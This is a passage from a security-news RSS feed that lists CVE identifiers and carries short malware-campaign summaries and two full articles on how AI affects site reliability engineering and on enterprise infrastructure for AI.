CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers Uncover North Korean ‘ClickFake’ Campaign Targeting Web3 Pros]]></title>
<description><![CDATA[In a new campaign, North Korean hacking group Famous Chollima targeted crypto professionals through ClickFix lures to deliver Windows and macOS trojans This article has been indexed from www.infosecurity-magazine.com Read the original article: Researchers Uncover North Korean ‘ClickFake’ Campaign...]]></description>
<link>https://tsecurity.de/de/3683280/it-security-nachrichten/researchers-uncover-north-korean-clickfake-campaign-targeting-web3-pros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683280/it-security-nachrichten/researchers-uncover-north-korean-clickfake-campaign-targeting-web3-pros/</guid>
<pubDate>Tue, 21 Jul 2026 11:56:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In a new campaign, North Korean hacking group Famous Chollima targeted crypto professionals through ClickFix lures to deliver Windows and macOS trojans This article has been indexed from www.infosecurity-magazine.com Read the original article: Researchers Uncover North Korean ‘ClickFake’ Campaign Targeting…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/researchers-uncover-north-korean-clickfake-campaign-targeting-web3-pros/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/researchers-uncover-north-korean-clickfake-campaign-targeting-web3-pros/">Researchers Uncover North Korean ‘ClickFake’ Campaign Targeting Web3 Pros</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Secure Are Crypto Wallet APIs? A Cybersecurity Perspective]]></title>
<description><![CDATA[A crypto wallet API can move real money in milliseconds. That speed is the whole point, and it's also the reason attackers pay so much attention to these endpoints. When you connect an application to a wallet through an API, you're handing over the ability to sign transactions, check balances, an...]]></description>
<link>https://tsecurity.de/de/3683272/it-security-nachrichten/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683272/it-security-nachrichten/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective/</guid>
<pubDate>Tue, 21 Jul 2026 11:56:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Crypto_Wallets_Security_with_bgc%20(1).webp" alt="Crypto Wallets Security" class="hs-featured-image"> </a> 
</div> 
<p><span>A crypto wallet API can move real money in milliseconds. That speed is the whole point, and it's also the reason attackers pay so much attention to these endpoints. When you connect an application to a wallet through an API, you're handing over the ability to sign transactions, check balances, and shift funds between addresses. </span></p> 
<p><span>Get the security wrong and the damage isn't a bad user experience. It's stolen assets that no one can claw back. </span><br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers Uncover North Korean 'ClickFake' Campaign Targeting Web3 Pros]]></title>
<description><![CDATA[In a new campaign, North Korean hacking group Famous Chollima targeted crypto professionals through ClickFix lures to deliver Windows and macOS trojans]]></description>
<link>https://tsecurity.de/de/3683199/it-security-nachrichten/researchers-uncover-north-korean-clickfake-campaign-targeting-web3-pros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683199/it-security-nachrichten/researchers-uncover-north-korean-clickfake-campaign-targeting-web3-pros/</guid>
<pubDate>Tue, 21 Jul 2026 11:39:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In a new campaign, North Korean hacking group Famous Chollima targeted crypto professionals through ClickFix lures to deliver Windows and macOS trojans]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
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<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Fileless Stealer and PureRAT Raid Browser Passwords, Telegram Sessions, and Crypto Wallets]]></title>
<description><![CDATA[Fileless stealer and PureRAT operators are abusing a WebDAV‑backed “malware delivery lab” to raid browser passwords, Telegram sessions, and cryptocurrency wallets in a campaign that blends fileless info‑stealing with a modular .NET RAT. The incident began with an MDR alert…
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The post F...]]></description>
